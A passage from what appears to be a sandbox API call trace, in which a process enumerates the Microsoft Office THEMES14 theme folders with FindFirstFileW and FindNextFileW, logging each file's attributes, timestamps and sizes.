ftLastWriteTime.dwLowDateTime=0x85b50300, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x621, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0091.209] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e63000, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x86e63000, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x6292, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0091.210] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e63000, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x86e63000, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x6292, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0091.210] FindClose (in: hFindFile=0x3255280 | out: hFindFile=0x3255280) returned 1 [0091.210] GetProcessHeap () returned 0x470000 [0091.210] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x327a0d8 | out: hHeap=0x470000) returned 1 [0091.210] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARCTIC", cAlternateFileName="")) returned 1 [0091.210] GetProcessHeap () returned 0x470000 [0091.210] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x327a0d8 [0091.210] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\*", lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255280 [0091.997] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.997] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc081900, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x5146e3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdc081900, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x10fc7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARCTIC.ELM", cAlternateFileName="")) returned 1 [0091.997] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a79b700, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5146e3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a79b700, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x201, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARCTIC.INF", cAlternateFileName="")) returned 1 [0091.997] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a79b700, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a79b700, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0xba9, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0091.997] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a79b700, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a79b700, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x4d44, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0091.997] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a79b700, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a79b700, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x4d44, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0091.998] FindClose (in: hFindFile=0x3255280 | out: hFindFile=0x3255280) returned 1 [0091.998] GetProcessHeap () returned 0x470000 [0091.998] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x327a0d8 | out: hHeap=0x470000) returned 1 [0091.998] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AXIS", cAlternateFileName="")) returned 1 [0091.998] GetProcessHeap () returned 0x470000 [0091.998] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x327a0d8 [0091.998] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\*", lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255280 [0093.467] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.467] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd394600, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51767f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd394600, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x189be, dwReserved0=0x0, dwReserved1=0x0, cFileName="AXIS.ELM", cAlternateFileName="")) returned 1 [0093.467] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8baae400, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8baae400, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x211, dwReserved0=0x0, dwReserved1=0x0, cFileName="AXIS.INF", cAlternateFileName="")) returned 1 [0093.467] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8baae400, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8baae400, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0xb20, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0093.467] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8baae400, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8baae400, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x8864, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0093.468] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8baae400, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8baae400, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x8864, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0093.468] FindClose (in: hFindFile=0x3255280 | out: hFindFile=0x3255280) returned 1 [0093.468] GetProcessHeap () returned 0x470000 [0093.468] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x327a0d8 | out: hHeap=0x470000) returned 1 [0093.468] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLENDS", cAlternateFileName="")) returned 1 [0093.468] GetProcessHeap () returned 0x470000 [0093.468] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x327a0d8 [0093.468] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\*", lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255280 [0094.295] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0094.295] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe32f2700, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe32f2700, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x10db7, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLENDS.ELM", cAlternateFileName="")) returned 1 [0094.295] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb59ad00, ftCreationTime.dwHighDateTime=0x1c4d794, ftLastAccessTime.dwLowDateTime=0x5f729350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcb59ad00, ftLastWriteTime.dwHighDateTime=0x1c4d794, nFileSizeHigh=0x0, nFileSizeLow=0x216, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLENDS.INF", cAlternateFileName="")) returned 1 [0094.295] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6d2cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x885, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0094.295] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5093, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0094.295] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5093, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0094.295] FindClose (in: hFindFile=0x3255280 | out: hFindFile=0x3255280) returned 1 [0094.296] GetProcessHeap () returned 0x470000 [0094.296] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x327a0d8 | out: hHeap=0x470000) returned 1 [0094.296] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUECALM", cAlternateFileName="")) returned 1 [0094.296] GetProcessHeap () returned 0x470000 [0094.296] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x327a0d8 [0094.296] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\*", lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255280 [0094.296] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0094.296] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6c2ae00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x5f775610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe6c2ae00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xc2ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUECALM.ELM", cAlternateFileName="")) returned 1 [0094.296] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x227, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUECALM.INF", cAlternateFileName="")) returned 1 [0094.296] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6d2cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x618, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0094.297] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x80f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0094.297] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x80f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0094.297] FindClose (in: hFindFile=0x3255280 | out: hFindFile=0x3255280) returned 1 [0094.297] GetProcessHeap () returned 0x470000 [0094.297] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x327a0d8 | out: hHeap=0x470000) returned 1 [0094.297] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUEPRNT", cAlternateFileName="")) returned 1 [0094.297] GetProcessHeap () returned 0x470000 [0094.297] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x327a0d8 [0094.297] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\*", lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255280 [0095.834] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0095.834] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7f3db00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe7f3db00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xda86, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUEPRNT.ELM", cAlternateFileName="")) returned 1 [0095.834] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5fbc5df0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x225, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUEPRNT.INF", cAlternateFileName="")) returned 1 [0095.834] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x785, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0095.834] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6b0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0095.834] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6b0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0095.835] FindClose (in: hFindFile=0x3255280 | out: hFindFile=0x3255280) returned 1 [0095.835] GetProcessHeap () returned 0x470000 [0095.835] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x327a0d8 | out: hHeap=0x470000) returned 1 [0095.835] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, 